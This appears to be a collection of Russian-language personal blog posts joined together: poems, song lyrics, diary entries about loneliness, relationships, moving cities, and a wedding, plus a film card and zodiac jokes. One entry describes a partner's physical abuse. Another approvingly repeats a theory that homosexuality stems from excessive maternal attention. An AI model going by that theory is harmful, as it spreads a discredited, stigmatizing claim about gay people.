выглядывать тебя в случайных прохожих, сходит с ума,
мое невозможное, непрожитое блаженство,
мне так нужна твоя нежность. и ты сама.

господи, как хочу забыть, выжечь, вытравить из инутри,
перестать спотыкаться на имени, ждать звонка, говорить о ней,
и чтобы каждое утро ярче, а не темней,
и чтоб капала пена из сжатых в руке камней,
а я понимала: есть о чем говорить

есть о чем говорить помимо и кроме, и без нее
есть внутри огонь, и желание высоты…
а пока упираюсь в тугое - не ты, не ты,
а пока упиваюсь нежностью темноты
и делю пространство на чье-то там и твое.

господи, как хочу забыть, не болеть, не быть
отпустить и в небо взмыть как стрела - одна,
но предательски в сердце ухает тишина,
но пугает боль, у которой не видно дна,
малодушно вру себе: я смогла бы, но если бы…

если б она отпустила меня сама,
если б не было скажем между таких вот чу….
а сама понимаю: иначе и не хочу,
выбирала по сердцу, по миру, по плечу
вот и выбрала. что уж теперь? а зима

господи, затянулась и нас затянула под
бесконечные жернова, под тоску по чужим губам
и шепчу во сне: не отдам ее, не отдам,
выбираю непал (подальше), но еду-то в амстердам,
и ее улыбкой вспарываю живот.

Я не верю, что завтра мне будет 18. Это что я правда стану взрослой? По крайней мере, полностью дееспособной. Жаль, что не смогу отпраздновать с семьей др, так как очень скучаю… Одиноко в этой Москве.

Привет!

Прошло девять месяцев и вот я опять копирую html коды, включаю атмосферную музыку и сажусь писать в свой родной блог. Всё ещё Вика.18 лет, маленький рост и большие планы на жизнь. Помните как я плакала о том, что боюсь переехать в другой город, боюсь поступления и ответственности перед родными? Так вот я в Санкт-Петербурге, сижу в "Подписных изданиях" и пишу вам этот пост. До сих пор не верю в это, но поступить мне тоже удалось и сейчас я приближена к моей мечте стать журналистом. Каково это жить в другом городе? Прекрасное ощущение "чистого листа" и новой жизни. Я свободна, в одном из самых красивых городов нашей страны, я независима и занимаюсь любимым делом. Но доля грустных ноток всё же есть. Третий месяц я не вижу маму, любимого С. и уже готова вешаться от одиночества. Но мечты не даются так просто..всегда чем-то приходится жертвовать.

И что бы с вами ни случилось - ничего не принимайте близко к сердцу. Немногое на свете долго бывает важным.

Эрих Мария Ремарк "Триумфальная арка"

Как часто с вами происходило что-то, что вы потом не могли забыть еще очень долго? Я заметила такую вещь, что мы очень хорошо и надолго запоминаем зло. Все плохое, что только с нами произошло, откладывается у нас в голове еще на долгое время. И зачастую мы быстрее можем вспомнить только свои косяки. Все хорошее естественно запоминается, но первым делом вы все равно вспомните свой промах..

И если бы вы только знали, как меня раздражают слова “все что не делается к лучшему”. Да, все конечно понятно, мы делаем ошибки, набиваем шишки, но почему мы утешаем себя именно такой фразой? Она не имеет смысл в большинстве случаях. Мое процентное соотношение будет примерно 90 на 10. И именно 90 процентов не будут относиться к этой фразе, а все таки даю шанс и по этому остальные 10 законно принадлежат – “все что не делается к лучшему”. Зачастую все проблемы мы создаем сами! По этому вообще не стоит это принимать так серьезно.. Спонтанность, конечно не плохо, но подумайте только, сколько раз она приносила вам пользу? Обдумывайте свои решения, ведь большая часть из них должна быть важным решением. Нельзя же так просто психовать и все бросать, а потом доводить себя до слез. Нельзя, но я не исключение и в моей голове тоже такая каша и довожу себя я лучше, чем кто-либо другой. Знаю только одно, что мой инстинкт самосохранения спасал меня много раз. И смотря на других людей и их допущенные ошибки, я все больше и больше благодарю свой страх за то, что не позволил мне сделать такие ошибки.

Не учитесь на своих ошибках, да я знаю, это будет очень сложно. Таких людей, наверное и нет, но стоит пытаться. То, что мы принимаем близко к сердцу должно быть очень важным!

*на малой родине вдыхаю такой привычный воздух. я знаю его. я его помню, так было каждую осень: вторая учебная неделя в школе, и вот я иду около 10 утра после первого урока и меня лихорадит, болит горло, насморк. иду и никого нет: все учатся/работают. а меня проклинают где-то на уроке алгебры мои одноклассники. а мне лишь бы до здравпункта дотянуть, и вроде, уже бабье лето и солнце светит, но морозит и ветер обжигает, хоть и не холодный. и мысли о том, как приду домой, включу телевизор, лягу спать.
вот кому ни расскажу, что скучаю по тому времени, все отнекиваются, вроде городскими стали и новую жизнь любят больше. да и я люблю. но ничто не мешает мне любить всю мою жизнь, всю, что была, и не важно, где. многое было упущено в том месте, многое не восполнить, но я скучаю по тому времени и это здорово.

*ушло из жизни "не хочу/не буду". и сменилось на "хочу/делаю".

*стала другой. быть может, временно.

*теряю ту, которая любила меня так искренне-наигранно. старые грабли? я принимала каждый её шаг и поддерживала. но когда моя жизнь стала наполнена вопросами и проблемами, которые я решала так, как мне хотелось, она отказалась понимать всё, что стало связано со мной.

*на косяки других закрываю глаза. иногда считаю себя сволочью. иногда всё делаю правильно. (правильно, что считаю себя сволочью, или правильно, что поступаю как сволочь? и то, и другое)

И чтобы не случилось. Я буду. Каждое мгновение и каждый вдох-выдох. Жить шаг за шагом, не размениваясь на мелкие интрижки и пустые дела.
Случайные ошибки и обиды. Случайные мысли и потери. На них строится мир.

В какой-то момент на губах появился привкус крови. Мы жестоки. Череда мыслей привела меня к тому, что если он сейчас отвернется и уснет, я останусь одна. Если он поступит именно так, то я незамедлительно и уверенно уйду. Сначала на кухню, потом просто как можно дальше от него. Во мне чередуется желание с равнодушием, я периодически заставляю себя думать о чем-то важном, чтобы он слышал, как стучит сердце. Что это, игра? Но я боюсь, если он отворачвается, обижается, недоумевает. По-видимому, мне нужно, чтобы мной восхищались, пусть это будет чувствоваться во взгляде и поступках, потому что наши мысли обличить в слова вслух гораздо сложней, чем прыгнуть с парашютом или сделать еще какой-нибудь смелый шаг. Я пишу не обдумывая, а как течет мысль, пусть прерывается, пусть сначала я ластюсь, а потом обиженная отворачиваюсь. Я не хочу обсуждать нюансы, короткие фразы, которые могли меня задеть, не хочу зацикливаться на них. Надо двигаться дальше.

Еще вчера я решила, что теперь буду писать сюда не только хорошее о Диме. Он как будто понял это и сегодня устроил мне "отличный денек". Начиналось все вроде нормально, пришел ко мне и стал целовать и обнимать. Все это переросло в секс. После этого в его голове что-то переклинило. Он придавил меня к кровати и крепко держал за запястья (казалось, что кровь перестанет поступать, так сильно он сжимал) и стал кусать. Было ужасно, я чувствовала себя беспомощной, закричать не могла (мама была дома) и мне было больно. Я просила отпустить, но он не отпускал. Затем сразу стал извиняться. Через какое-то время его агрессия опять стала искать выход и он несколько раз хлопнул по щекам. Ну и уже ближе к концу стал душить. Я не понимала, почему он продолжает так вести себя, хотя еще недавно извинялся. Так тяжело было от любимого человека принимать такое. Конечно, он не весь вечер был таким. Хорошего он сказал мало. Стал ругать, что не купила шторы в комнату и назвал хозяйкой ебанной. В ходе вечера я была и сукой, и ебанутой, и мразью. Не жалуюсь, просто пишу, как есть. А то я часто плохое забываю и мне кажется, что у нас с ним все идеально. Перед уходом опять поднял тему моего общения с "поклонниками". Сказал, что я изменщица. Но он весь такой молодец и "не хочет ограничивать меня". Брат уговорил меня погулять по лужам. Был весь такой довольный и напевал песни. Мне было грустно, что я не могу так легко радоваться. На душе до сих пор кошки скребут. Дима не извинился, видимо, считает свое поведение нормальным. Я упрекнула его в ругательствах в мой адрес, а он отшутился. Как обычно все.

Погода менялась очень быстро, я аж удивляться не успевала. То пасмурно, то солнечно с дождем, то темнота из-за туч и ливень. И это за все то время, пока мы находились в лесу. Но это даже интересно - увидели и облака красивые, и тучи насыщенного синего цвета, и ясное небо, и радугу, и туманные горы)



Почти всю дорогу Кира (так зовут Настину собаку) доставала Белку, лезла к ней целоваться. Она еще щенок и капец какая энергичная и любопытная) Носилась туда-сюда как торпеда, скакала, прыгала.





Раз уж собрались на природу, я взяла милую сумочку из войлока для небольшой композиции. И, конечно же, яблоки. Это был один из пунктов списка планов на осень)



Настя бегала собирала веточки, листья и траву. Ей тоже нравится заниматься этой фигней как оказалось))



Там должна быть радуга слева, но ее не видно почти: (













Когда уже хотели идти обратно, думали, как лучше вернуться - либо повернуть назад, либо пройти дальше через деревню другой дорогой. В общем, приключения начинаются со слов 'назад пути нет!' (это в нашем сегодня случае). Потому, что 'немного' заблудились и шли как попало, надеясь, что интуиция нас выведет)) И вывела, только после этого мы были все грязные. Зато веселые :D
Вообще это был первый раз, когда мы с Настей куда-либо выбрались, за исключением вечерних прогулок во дворе с собаками. Она живет на седьмом этаже в моем подъезде, переехала сюда из Зеленой рощи в этом году. До лета мы с ней не особо то общались, можно сказать совсем. Про собак что-нибудь скажем, посмеемся, да и все. А летом вдруг осмелели и познакомились :D Девочка она хорошая, позитивная. Любит грозу и сгущенку. Так почему бы не воспользоваться возможностью, тем-более что рядом живем? Бегать иногда друг к другу на чай труда не составит. Со временем, может быть, подружимся хорошо. Мне так не хватает здесь человека, с которым я была бы не просто в приятельских отношениях, а именно в дружеских. И тут же на ум пришел момент, когда в субботу после ленты по английскому меня задержала преподавательница, а все толпой ушли и никто не подождал. Обидненько.

Ехала сейчас в метро домой, впереди встали два парня, за мной стоял третии из их компании. И пока ехали по эскалатору они переговаривались через меня фразами "наконец-то рядом с девушкой стоим", "а от девушки так приятно пахнет", "дорогие духи наверно. и девушка дорогая". Как вышли с метро пытались номер выклянчать, рассказывая, что у кого-то дорогая машина, а кто-то в банке работает, на что я просто посмеялась и быстренько смоталась, отклеивая их тем, что не знакомлюсь. Но это я к тому что.. я так давно не общалась близко с мужским полом что прям не привычно мне внимание посторонних парней и я так засмущалась.

Писала недавно о расставании. Моем с С. Но мы сошлись. Не знаю, правильно ли это или нет, но факт остается фактом. Я сказала ему, что не хочу жить в гражданском браке. Что если жить, то как настоящая семья. Посмотрим, примет ли он это к сведению. Для себя я решила ждать до нового года. Если к этому времени ничего не изменится, а точнее его отношение ко мне, то это будет означать конец. И опять же я должна за это время поменяться. Из главных целей, кажется, впервые не похудение, а развитие себя. Как говорила Рианна, одна из главных вещей - не быть рабынями мужчин. Наверное, поэтому она добилась так много всего. У нее железный характер. Из своих целей пока вижу следующее. Написать научную статью. В идеален с исследованием и получить грант. Читать много художественной литературы. Смотреть великие фильмы, к слову вчера начала смотреть "Римские каникулы". Ходить на выставки и в музеи. Отказаться от многих гадостей в питании. Найти новые занятия и увидеть новые горизонты. Задумываюсь об учебе за границей, но пока только задумываюсь. О том, что надо активнее учить языки.

Жаль, в моих смс-архивах программы нету,

Что стирала бы слой отмерший в режиме «авто».

Я читаю «ну я же рядом с тобой» — а это

Уже неправда.

Недействительные талоны; ущерб немыслим.

Информация неверна; показанья лживы.

Он писал мне «я тут умру без тебя», но мы с ним

Остались живы.

Я читаю: «Я буду после работы сразу

И останусь» — но не останется. Нестыковки.

Пусть указывают срок годности каждой фразы

На упаковке.

А со мной сейчас только вью. Любимые мне люди пишут: Всего хорошо. Просто вежливость.

А я делаю вид, что не заметила. Что не заметила, как стала никем, что для себя. так и для других.

Все должны были заметить, как на вью сменила имя и как стало много записей.

О д и н о ч е с т в о

2 дня я не могла возвращаться в это место. Сегодня наконец пришлось. Чемодан на полу, вещи еще в нем, пустая квартира, никакой жизни, да и еды в холодильнике. Теперь мне не хочется ни к чему прикасаться, тк они оба прикасались ко всему в этом месте. Зажгла свечку из Bath&body works с сильным запахом тыквенных капкейков. Хочется перебить все запахи в квартире этим, родным.Охрана в аэропорту сделала мне ад из-за этих двух свечек, зато в Чикаго милый чёрный парень пошутил что я точно готова к осеннему сезону. Вообще, обратный полёт весь был адом, так как ощущение совершённой огромной ошибки, которой не исправить, не покидало меня ни на секунду. Унылое серое небо Стокгольма проливало слёзы вместе со мной. И потом Питер. Тоже серый, холодный. Меня раздражает когда кто-то пытается меня убедить с пеной у рта(утрирую), что "Питер лучший город на свете и что мечтать нечего!", " Оставайся жить здесь, это же Питер!!" Пусть кто обожает Питер, живёт здесь всю жизнь, мне всё равно. Но зачем распространять свои предпочтения на меня? Это не моя мечта и не моя судьба. Ещё больно от расставания с сестрой и братом. Сестра вообще мой человек номер один, как и я её. Я просто молюсь о свершении своих задумок. Всем желаю лучших времён, чем у меня.

просто посмотрите этот фильм. он безумно романтичный, немного грустный, немного веселый, и заставляет задуматься о многих вещах, которые нам так дороги. две замечательные истории, которые пересекаются, так или иначе*__* и для читателей, есть книга, по которй снят фильм, а автор ее Николас Спаркс*_*

Опять очередной парень отбивает у меня подругу. Конечно я не против, встречайтесь, но всё равно немножко бесит -_- Булочку забрали, Днепровскую забрали, и опять Стрижнёву забирают. Суки: (


Всё началось с агрессии. С желания, как следует вмазать всем мордам, раздражающим меня.

В этом нет ничего дурного или удивительного, учитывая, что мы все живем в мире, полном негативных эмоций. Это не означает, что каждый день подобен котлу, который подогревают черти, нет. Но достаточно 2 года провести себя в мирном настрое, указывающем на бесконфликтную жизнь, как внезапно происходит взрыв.

Что с этим делать?

Вот советы психологов:

- Успокойте дыхание

- Включите голову

- Поговорите о своих чувствах с родным человеком

Но что если сдерживание агрессии и злости - есть зло, потому что без выплеска эмоций мы оставляем всё в себе?

Читать Рамту и буддистские книги? Неплохо, если только однажды мы не взорвемся от прочтения наставлений монахов.

***

Для себя я выяснила, что мне нужно для того, чтобы успокоиться:
- Чай

Пожалуй, еще раз несколько чашек чая.

Пистолет и боксерские перчатки.

А как вы боретесь со своей агрессией?

Берегите себя и свои нервы
W.L.

Если все получится, то в начале октября поеду в Челябинск на выходные к Ире. Только пока об этом не знает ни одна живая душа, кроме нее. Надеюсь, все выгорит и мама не узнает про это мини путешествие.

И вот, в который раз за свою жизнь, я чувствую как сердце буд-то разрывается от одиночества. И то ли я в этом виновата, то ли близкие мне люди? А возможно все и сразу. Но ведь они же мои близкие друзья и они прекрасно знают какая я, из чего сделана и с чем меня подают (хех, да уж метафора что надо :D) Но всё равно оставили меня, даже ничего не сказав. А я ведь ничего плохого не сделала, просто была собой (интровертом, меланхоликом;дада) и если из-за этого меня бросили, то друзья ль они мне? Да уж…сейчас я переживаю явно чёрную полосу своей жизни, но мысль о белой меня радует, хехех. Пойду пожалуй почитаю Д.Карнеги "Как перестать беспокоиться и начать жить".

Ну как я могла заболеть пиелонефритом? столько пропила антибиотиков, и теперь снова их… Врачи говорят, что пиелонефрит только антибиотиками лечат… А они ужасное действие оказывают на организм, да и для зачатия запрещены…

У меня ничего нового… Снова подстриглась коротко, ну типа удлиненное каре, и в черный покрасилась, сделала процедуру Термо Кератин, пока эффект нравится, буду делать раз в месяц ее, посмотрим вообще как надолго хватает этого эффекта…

блять, гоооооосподи, как же меня бесят бабы, у которых парни служат в соседнем городе: увалы, телефоны, интернет - ВСЁ ЕСТЬ! они видятся так часто, что это и армией не назвать. " я так скучаю по тебе, хотя мы виделись вчера, когда я приехжала и ебалась с тобой на кпп, мяу! "

срань, блять, не видела, не слышала, не помню запах!!!!

Вот смотрю на себя последнее время и не узнаю: я стала какая-то совсем другая. Изменилась в лучшую сторону. Причём изменилась как внутренне, так и внешне. Раньше я дико ненавидела своё отражение в зеркале, потому что мне не нравилось в себе всё: начиная с несовершенной фигуры, заканчивая жидкими волосами. Но я как-то научилась себя любить и иногда (только иногда!) считаю себя даже достаточно красивой :D Может быть, эту уверенность в себе мне внушили эти мужские взгляды, комплименты и попытки познакомиться, которых в этом году, а особенно летом, было просто навалом. А может быть, я просто поняла, что внешность в этом мире-не главное. По сути у меня есть семья, любимый, подруги, нет материальных проблем, я хорошо учусь и я даже ещё молода -чего можно ещё желать? :D Да, до конкурсов красоты мне ещё далеко, но у меня есть и свои плюсы: я высокая (176 см), у меня быстрый метаболизм, всвязи с чем я абсолютно не могу поправиться, находясь всегда в своём постоянном весе 54 кг. Но самая моя любимая часть в себе- это мои глаза. Я никогда не обращала на них внимание, пока последние пару лет люди не начали мне говорить о том, какие они необычные. На вопрос:"Какого цвета у тебя глаза?" я отвечаю:"Хамеллионы", потому что они постоянно меняют цвет. На фотографиях я обычно с голубыми глазами, но в жизни они бывают то голубыми, то зелёными, то серыми и это так забавно, когда люди говорят, что мои глаза поменяли свой цвет :D А вообще, я начала этот пост, чтобы написать одну мысль. Знаете, может, у вас нет невероятных волос, безупречной кожи или прекрасной белоснежной улыбки, но это вовсе не значит, что вы не так красивы, как другой человек.

Может, у вас нет человека, который в вас влюблён или добивается вас, но это совсем не значит, что вас никто никогда не полюбит. И, может, вы думаете, что не найдёте того-самого человека, который полюбит в вас всё, но это не значит, что вы правы.

Я смирилась со своими внешними недостатками и не говорю больше, что я некрасивая, толстая или ещё там какая-то "не такая". Да, я не самая красивая девушка в мире. Но пробыв вместе с любимым мужчиной достаточно долгое время, то я поняла, что я самая красивая и самая лучшая, в его мире. А мне другого мира и не нужно! Так что любите себя, никогда не говорите людям о своих недостатках и пусть всё будет прекрасно:*

Все хотят начать жизнь сначала, но никто не знает, как это сделать. Мы привыкли верить, что после неудач всегда будет что-то хорошее, и как же не хочется принимать обратное.

Сложно говорить о чувствах, когда ничего не чувствуешь.

Еще сложнее - когда чувствуешь слишком много.

Слишком сильные чувства, чтобы о них говорить. И слишком мало времени для незначительных слов. От чувств сводит колени, в сердце кипит юность.

Я называла счастьем совсем не те вещи и не тех людей. Я искала счастье за закрытыми дверями, в аэропортах, в ненужных людях. Я цеплялась за руки, которые меня отпускали. Вроде умная девочка, а по своей природной глупости вечно бежала туда, где по большому-то счету, и не особо ждали. Слова "я люблю тебя" звучали так часто, но так сухо, что казались безэмоциональным набором букв. А мне так остро хотелось любви. Слова ведь не нужны, когда чувствуешь.

У меня такое свойство есть - хорошее или плохое? скорее второе. Я мометнально влюбляюсь в незнакомых людей. В смысле в образ человека, обычно женского пола. Как это и случилось снова. В этот раз это была немолодая женщина, native american, с водопадом серебрянных волос, заплетенных в толстенную косу до пояса, одетая в черное, загорелая, со своим мужчиной байкером. Она излучала спокойствие и таинственность, красоту.Возраст совсем не испортил её. Мимолётное знакомство в Чёрных горах оставило след в моей памяти и душе.

Андрей решил высказать мне все что думает обо мне и все что его угнетало. Я никогда не чувствовала себя такой тварью. Он пытался, он любил, а я прекратила чувствовать это. Каждый день это душило меня. Я не навижу обманывать кого-либо, все это не правильно. Надеялась, что если я буду рядом мои чувства к нему вновь вспыхнут, если я буду заботиться о нем, переживать, думать, жить им, только это не сработало… Даже отдаление от него не вызывало во мне чувств по нему, я даже не скучала. И мне больно. Мне обидно. Я так его любила, и так быстро он стал мне не нужен. Никогда не ощущала себя так плохо, только по ночам все всплывает и гнетет меня. Это душит. Не возможно ни есть, ни пить, ни учиться, ничего не хочу. И ему не легко, я говорила, что он родной для меня, а сейчас мимо пройду и не замечу. Ему так плохо и больно из-за меня, из-за такой идиотки как я. Мне так жаль, если бы я могла бы вернуть ввсе то что было, я бы вернула хоть 500 раз…
Я так себя ненавижу за это.

какое-то говно вокруг творится. а ведь должна сейчас быть в отпуске. ходить на учебку и НЕ думать о работе. не хочу впадать в апатическое состояние, но погода и ситуациИ способствуют этому. одно радует, что после говна в жизни всегда восходит солнце.

По тебе крошка заметно, то что ты хочешь делать все, что запретно То, что с тобой не делал прошлый бойфренд, а позапрошлый бойфренд считал, что пошло и вредно

Вы можете научиться стрелять, вы можете научиться драться, но нет оружия, такого же мощного, как ваша женственность

Интересный момент о гомосексуализме, он предпологает, что это явление появляется тогда, когда мать даёт ооочень много внимания и заботы ребёнку, тем самым вытесняя отца, более того, ставя ребёнка в ранг божества, ребёнок в свою очередь, вытесняет образ матери, потом отождествляет себя с ней, что может привести к нарциссизму (у леонардо проявляется в подборе мальчиков, в красоте которых он видел себя(механизм превращения) (старался в их образе одарить себя заботой матери?замещение???)), почему отвергаются девушки? Они считаются соперницами матери, которые подрывают авторитет матери, а в следствии, и эго ребёнка. Рано возникли и развились эротические влечения. Погуглить ещё теории гомосексуализма, не лишено правдоподобности, надо вспомнить об этом когда будут свои дети) и по возможности, не ущимлять мужественность в ребёнке и давать общаться с отцом

Течение моей жизни в данный момент напоминает плохо написанный роман ни о чём. Я снова в Питере. Город душит меня.

Cходили к хирургу. Благо, не перелом- ушиб. Так что неделька и всё должно быть хорошо.

Дудь- редкостный, непотворимый долбаёб, но мой и самый любимый. Другого не хочу.

Балаково - это, в первую очередь, моя родина. Не могу сказать, что я рада жить здесь, но Балаково - это не самый худший вариант для жизни. Для меня это город моего детства, моего образования, жаркого лета и холодной зимы. Я бы не хотела жить здесь всегда, но где бы я ни была, Балаково будет для меня городом тёплых воспоминаний и родных мне людей.

напишу просто для того, чтобы это не забыть
вчера гуляли с классом
и когда все уже практически разошлись, я сидела на сцене и разговаривала с Женей и Сережей
они оба пьяные были и как всегда говорили такие вещи, о которых обычно трезвые не говорят
запомнилось, что Женя говорил о том, что меня любит и предлагал встречаться
я его переубеждала и хоть знаю, что все это не всерьез, но все же мне эти слова запомнились
а Сережа рассказал, почему на меня был обижен и спросил, когда можно ко мне приехать ахаха
и все, пожалуй

Я как все девочки тоже хочу поделиться с вами своими мыслями о свадьбе. С начала решила показать вам платья своей мечты и вообще то, как я хочу выглядеть на своей свадьбе.
Я уже просматривала сайты некоторых салонов Омска и если честно то мне там от силы только одно платье понравилось и то оно стоило очень много. Я хочу саааамое простое платье, наподобе таких.



И в принципе я могу его сшить если подойти к нему серьёзно, но все косые взгляды и мотания головой при разговорах о том, что я хочу сшить себе его сама (знаете примету о том, что себе шить свадебное платье нельзя? так я об этом) меня останавливают. Может позже поговорю со своим преподавателем, чтобы она сшила мне его, но думаю она откажется. Хорошо, что времени еще много и подумать можно.
На голову хочу просто кудряшки и венок из цветов, желательное настоящих. Недавно нашла в интернете очень милые и безумно красивые декоротивные цветы гипсофилы. Венок из них выглядит так и пока они у меня на первом месте. Про фату пока не думала.



Букет хочу из пионов. Много пионов, очень много! И пусть он будет немного небрежный, а не "микрофон" как у большенства невест.
Думаю спокойное платье, причёка и нежный, но в то же время яркий букет будет просто бомбой.


Вообще в моей голове уже давно живёт мысль о свадьбе в европейском стиле и я не сойду с места пока не получу именно такую свадьбу.

Если что, то я никого не хотела обвидеть. Это чисто моё представление и желание.

а как надо вести себя, когда чего-то очень хочешь, но знаешь, что никогда этого не получишь? может я действительно не права?

а еще меня выводят магазины "все для дома" - мебельные, все для ремонта, текстиль, предметы интерьера… не могу с собой ничего поделать и когда захожу в них в голове сразу "а вот могла бы выбирать это для вашего с ним дома. а теперь это делает она. а ты этого делать ни с кем никогда уже не будешь." особенно когда в магазине ходят парочки, в обнимку, и так и светятся…а меня трясет, так больно. из-за этого ругаюсь с мамой, ведь она тянет в такие места. а моя боль уверенно перерастает в зависть.

Год: 1997

Режиссер: Эндрю Никкол

Жанр: фантастика, драма, мелодрама, детектив

Слоган: «Каждая молекула вашего тела может предать вас»

Сюжет: Добро пожаловать в Гаттаку — совершенный мир будущего. Здесь каждый генетически запрограммирован, и печальная судьба ожидает тех, кто был рожден в любви, а не в лаборатории. Такова судьба Винсента Фримана, молодого человека, получившего при рождении ярлык «не пригоден».

Винсент обладает весомыми недостатками: он подвержен страстям, он поддается эмоциям, и он верит в то, что его мечты сбудутся. Вот почему он покупает личность другого человека, пытаясь обмануть власти и стать уважаемым членом Корпорации Будущего Гаттака.

И когда он уже на пути к свободе, убийство грозит раскрытием его реальной личности. Несмотря на свою невиновность, Винсенту есть что скрывать и есть что терять. Но так трудно остаться в живых, когда в тебе живут два человека…

Моя оценка: 7/10

Намедни мне приснилась молодая и красивая девочка: прямой острый нос, очаровательное каре и лицо с веснушками. Мы целовались лежа на полу. Все счастье мира растворилось в этом поцелуе.

С Днем Рождения, Надюша

Всего тебе самого прекрасного, что есть в мире: счастья, любви, удачи, доброты и тепла. Желаю, чтобы в твоей жизни было все замечательно: крепкая семья, отличные друзья, прекрасная работа, достаток в доме. Пусть сбудутся все твои мечты и желания. Будь счастлива. С Днем Рождения!

Давно не заходила. Давно не писала. Все было хорошо. Даже все шикарно. Я наконец-то поняла, что хочу от отношений. И все стало на свои места. Моему парню надо поставить памятник за то, что он выдержал все эти 3 месяца. Герой! Спасибо ему, что не бросил и поддержал. Это того стоило. Я счастлива :)

Приняла от прекрасной daria-snow.
Хочу передать всем тем, кто как и я хочет сделать это тэг в сентябре #нуашто.

Правила Нужно называть 3 слова (это может быть либо существительное, либо глагол), которые ассоциируются с этим летом и кратко обосновываем свой выбор.
Незабываем постить под тэгом "3 summer things".

Наслаждение


Как и для многих для меня лето - это время, которое я могу полностью посвятить себе.Обычно я провожу лето с максимальной пользой и удоволствием. И это не стало исключением.Как только я закончила все свои дела в университете я просто с головой погрузилась в сериалы, фильмы и особенно книги.В прошлом месяце я буквально ела, спала, вообщем жила вместе с книгами.Мне кажется, что в августе я прочитала свою годовую норму книг.И это безусловно была замечательная пора.Вообщем я наслаждалась :D

Затишье


В этом году очень многое изменилось (и я думаю ещё изменится). Этот июнь я провела сверх продуктивно (как вы знаете я пыталась успешно завершить свою учёбу в университете). Было конечно очень трудно, но к счастью всё закончилось.После супер занятого июня пришёл чудесный июль, который был очень долгожданным, интересным и радостным. Но в целом моё лето нельзя представить без ожидания чего-то нового, без затишья перед осенью и появления новой главы в моей жизни.Скажу больше, моё лето просто невозможно представить без этого слова, ибо я всё время ждала… ждала.. ждала.

Одиночесвто


Из-за моего окончания я много времени проводила одна.С начала я делала это, что бы сконцентрироваться на учёбе.Потом, что бы отдохнуть от всего, привести мысли в порядок, да бы избежать нервного срыва и взрыва мозга.Мне вообще кажется, что очень важно иногда побыть наедине с собой.Мне лично одиночество помогает стать более раскованной и раскрепощённой.И я совсем не жалею, что много времени потратила на себя.Я наоборот даже рада т.к. это было мне нужно, что бы уж совсем не сойти с ума от такого количества перемен в жизни. В любом случае я рада, что такое сумбурное лето закончилось.

Как бы больно не было это признавать, но тут ничего уже не изменишь. Я дождусь, когда мне скажут окончательный ответ и отпущу навсегда

Начался дождь, я закрыла окно. Через несколько минут дождь закончился. Стало душно, открыла окно. Через некоторое время снова начался дождь, опять закрыла окно. Дождь закончился, снова стало душно и я открыла окно.

Так повторялось около 7 или 8 раз. Что может быть бессмысленнее, чем дождь, который идет 5 минут, через каждые 10?

Разговор с подругой в пятничный вечер:

- Знаешь, я вот в среду видела такого милого парня. Милого в самом прямом смысле этого слово. Шли с одногруппницами после митинга через рынок, а он арбузами торговал..

- Ооо….

- Как думаешь, если бы я подошла и просто сказала: «Привет, а почем арбузы?», а он допустим ответил бы «10 рублей килограмм». И тут я такая бы выпалила: «Вы такой жизнерадостный, что не можете не заряжать остальных своим позитивом!» - это выглядело бы слишком странно?

- Мы не знали друг друга … До этого лета….♩ ♪ ♫ ♬

-Ой, ну прекращай!!!

- И МОЕ СЕРДЦЕЕ, ОСТАНОВИЛОСЬ МОЕ СЕРДЦЕЕЕЕ ~♬♬♬

- НУ ХВАТИТ, ЧТО ТЫ В САМОМ-ТО ДЕЛЕ!

- ЗАМЕЕЕРЛООО, О МОЕ СЕРДЦЕЕЕ….. ♩ ♪ ♫ ♬

- .. .

Так, ну что мне вам сказать…. Это перестало быть смешным.

Я просто не могу, реву не могу останоситься. Сраный колледж. Сраная практика по ботанике, ебучие гербарии.

Сижу, делаю отчет по практике… Спрашиваю у одногруппниц что надо, ответ: главное чтобы красиво, побольше укрась, картинок и тд..

Картинок блять. Ну что за детский сад. не могууу я, разве что из пластелина не леплю еще.

Я никогда в жизни не хотела так скорее на занятия по магистратуре, завтра хоть схожу - что-то умное послушаю.

Не могууууу!!! такая деградация!

я знаю зачем мне это надо - терплю, но это просто невыносимо!!!!!

У меня высшее образование, а я собираю шишки и каштаны сукаааа

Будь пожалуйста послабее, будь пожалуйста
И тогда подарю тебе я чудо запросто
И тогда я вымахну, вырасту, стану особенным
Из горящего дома вынесу тебя сонную
Я решусь на всё неизвестное на всё безрассудное
В море брошусь густое, зловещее и спасу тебя
Это будет сердцем велено мне, сердцем велено
Но ведь ты же сильнее меня, сильнее и увереннее

Ты сама готова спасти других от уныния тяжкого
Ты сама не боишься ни свиста пурги, ни огня хрустящего
Не заблудишься, не утонешь, зла не накопишь
Не заплачешь и не застонешь, если захочешь
Станешь плавной и станешь ветренной, если захочешь
Мне с тобой, такой уверенной трудно очень
Хоть нарошно, хоть на мгновение, я прошу робея
Помоги мне в себя поверить, стань слабее

Будь пожалуйста послабее, будь пожалуйста
И тогда подарю тебе я чудо запросто
И тогда я вымахну, вырасту, стану особенным
Из горящего дома вынесу тебя сонную
Станешь плавной и станешь ветренной, если захочешь
Мне с тобой, такой уверенной трудно очень
Хоть нарошно, хоть на мгновение, я прошу робея
Помоги мне в себя поверить, стань слабее

Хоть нарошно, хоть на мгновение, я прошу робея
Помоги мне в себя поверить, стань слабее

Станешь плавной и станешь ветренной, если захочешь
Мне с тобой, такой уверенной трудно очень
Хоть нарошно, хоть на мгновение, я прошу робея
Помоги мне в себя поверить, стань слабее

Вьюи-девочки, Вы, просто обязаны слушать Сплин - Танцуй. Это же ваша песня. Ставьте сердечко, кто не может без этой песни.

Hogwarts is my home!

Настанет ли тот день, когда я перестану пересматривать/перечитывать ГП?

Наверное тогда, когда мир чародейства и волшебства перестанет для меня быть чудесным уютным родным домом для моего духа, куда всегда приятно вернуться. Как-никак именно там в детстве жил мой идеальный образ.

Так что ответ на этот вопрос будет в стиле античной натурфилософии: "Лишь когда мое опустошенное тело предадут одной из первооснов этого мира".

Наверное это особая форма отчуждения с оттенком эскапизма.

P.S. первому молодому Тому Реддлу уже 36 лет.

Как знаки зодиака устают:

Овен - *очень громко вздыхает, пугая людей, чтобы те не разговаривали с ним.*

Телец - *ест пироженку и смотрит на всех вокруг со взгядом рассерженного убийцы.*

Близнецы - ЭТОМОЙДВЕНАДЦАТЫЙКОФЕ!!!! *пьет кофе, вырубается*

Рак - *надевает солнечные очки, откидывает голову назад и просто вырубается нахер*

Лев - *спит в своей кровати, потому что ему насрать.*

Дева - *начинает генеральную уборку во всем доме, чтобы оставаться энергичной, вырубается от паров очистителя.*

Весы - *вздыхает* Я просто хочу вздремнуть. *опускает голову вниз* О, а это отличное место.

Скорпион - *думает только о кофе и убийстве.*

